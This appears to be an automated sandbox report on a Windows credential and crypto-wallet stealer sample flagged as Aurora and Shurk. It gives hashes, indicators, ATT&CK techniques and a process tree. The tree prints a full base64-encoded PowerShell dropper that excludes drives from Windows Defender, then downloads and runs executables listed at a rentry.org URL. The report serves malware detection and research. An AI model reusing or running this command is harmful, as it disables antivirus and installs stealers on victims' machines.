aurora | f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6

Analysis

max time kernel
145s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
04-03-2024 18:43

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General

Target

f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe
Size

25.5MB
MD5

ad9eddce12966e365ddb9b7fdae91340
SHA1

7f7bc6ceb99c67e01423c6f171df03f92771224e
SHA256

f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6
SHA512

82932ed99e4a87730b3fda8d4bff0cae261dede6a36a25eae670b10f7d2b6903c2576b4cf8f9d263d9ec8ff22a05b967e039e0d299195bb6aad7f0445bdf2522
SSDEEP

98304:blQKxQh+98myGsy1slENtrE7pQ8kq34vEStCAsDrP7J8yStyBCWLRV7VtC4bksxW:xQPY9mgGvkHEAsdtLRVRXgFqKQbEZxRD

Score

10^/10

aurora shurk infostealer stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/sb54d2/raw

Signatures

Aurora
Aurora is a crypto wallet stealer written in Golang.
stealer aurora
Shurk
Shurk is an infostealer, written in C++ which appeared in 2021.
infostealer shurk

Shurk Stealer payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe	shurk_stealer
C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe	shurk_stealer
C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe	shurk_stealer
behavioral2/memory/4252-18-0x0000000000400000-0x0000000001D8A000-memory.dmp	shurk_stealer
behavioral2/memory/4716-37-0x00007FF743690000-0x00007FF744F9B000-memory.dmp	shurk_stealer

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 4776 powershell.exe

flow	pid	process
35	4776	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

black.exef4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	black.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe

Executes dropped EXE 2 IoCs

Processes:

Aurora 22.12.2022_.exeblack.exe

pid process

4716 Aurora 22.12.2022_.exe
180 black.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4776 powershell.exe
4776 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4776 powershell.exe

pid	process
4716	Aurora 22.12.2022_.exe
180	black.exe

pid	process
4776	powershell.exe
4776	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4776	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exeblack.exe

description	pid	process	target process
PID 4252 wrote to memory of 4716	4252	f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe	Aurora 22.12.2022_.exe
PID 4252 wrote to memory of 4716	4252	f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe	Aurora 22.12.2022_.exe
PID 4252 wrote to memory of 180	4252	f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe	black.exe
PID 4252 wrote to memory of 180	4252	f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe	black.exe
PID 180 wrote to memory of 4776	180	black.exe	powershell.exe
PID 180 wrote to memory of 4776	180	black.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe
"C:\Users\Admin\AppData\Local\Temp\f4139d1d3f3fb68c221b9c63ad30b560420959803ab3011de83c4028213e96c6.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4252

C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe
"C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe"
2⤵
- Executes dropped EXE
PID:4716

C:\Users\Admin\AppData\Local\Temp\black.exe
"C:\Users\Admin\AppData\Local\Temp\black.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcQBqAHYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYwBsAGUAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBrAG0AIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHMAYgA1ADQAZAAyAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBxAHkAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAYQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAegB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBsAGwAZQAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AGoAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAeQBlAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHYAZgBqACMAPgA="
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4776

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe
Filesize
4.1MB

MD5
9076f4b5b63a76e61909a6a503ada24e

SHA1
5329200995910b557a2f506bc9f2d4c00e1946a0

SHA256
459ef50689d80330c77dac9b6531d9cda60e02dcca2b56e62042aac6e65da0ba

SHA512
41cef13f534b7bbd0ce8fbb2be63d72c853a42ee96ceec1cd302ab2b2ea13975b443675e619cdd753d887abd2a55cc33b9acfa8e0caeba9f5876d68c89274594

Download Submit
C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe
Filesize
10.7MB

MD5
5807b59d51807602deea0b296440073e

SHA1
b91ba1c0b457d7c24c41b078fe38714a018871f1

SHA256
46fce932e9756ff813b2eff4250453537915d04639f68271750409170278858c

SHA512
f21b962210bcf849590cb8352e7697ad58692ea9cc6db17fa517becec0efb8fc2e510877730f01d02e3ce46c080ab5b45c17007a0649cb4261567c7c5613fa2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Aurora 22.12.2022_.exe
Filesize
1.3MB

MD5
6b818dedc8638c2ae41369f026e9b428

SHA1
f768a3002007412ca55d18ebdcad13f899100066

SHA256
436a44e316e43c9339191cd53ec231d950f6d225c923220d3ce5e5eba6fad9c3

SHA512
faf6d510be9862f001356a7d6052953edf6973cc61b2ad412514b5e487ca27f19febd66fbc0b006b69da3b209e3b5c6a4463c383a23cc2166c69e51df8020688

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kylnguc4.0j2.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\black.exe
Filesize
74KB

MD5
b755c4a6af6e4616b7174e9184d4bd01

SHA1
e856e899dcd618263c28ed7f635b2a95746564a2

SHA256
7bfc325de2e448380fe3ae921dddd5b4ab94432d60487d662d7b10ef2b248969

SHA512
def7a5405fda0692f8bf7dbc7cfb67e2e38c6a3391b52209cf73b43b2773216e7bc399e8449d752db6fa6910387f22d7a2cd2a543f30983d13603f75a52345f0

Download Submit
memory/180-20-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp

Filesize
10.8MB

Download
memory/180-23-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp

Filesize
10.8MB

Download
memory/180-19-0x0000000000E10000-0x0000000000E28000-memory.dmp

Filesize
96KB

Download
memory/4252-18-0x0000000000400000-0x0000000001D8A000-memory.dmp

Filesize
25.5MB

Download
memory/4716-37-0x00007FF743690000-0x00007FF744F9B000-memory.dmp

Filesize
25.0MB

Download
memory/4776-24-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp

Filesize
10.8MB

Download
memory/4776-25-0x00000232BFE00000-0x00000232BFE10000-memory.dmp

Filesize
64KB

Download
memory/4776-26-0x00000232BFE00000-0x00000232BFE10000-memory.dmp

Filesize
64KB

Download
memory/4776-32-0x00000232BFE10000-0x00000232BFE32000-memory.dmp

Filesize
136KB

Download
memory/4776-38-0x00000232BFE00000-0x00000232BFE10000-memory.dmp

Filesize
64KB

Download
memory/4776-41-0x00007FFAE0820000-0x00007FFAE12E1000-memory.dmp

Filesize
10.8MB

Download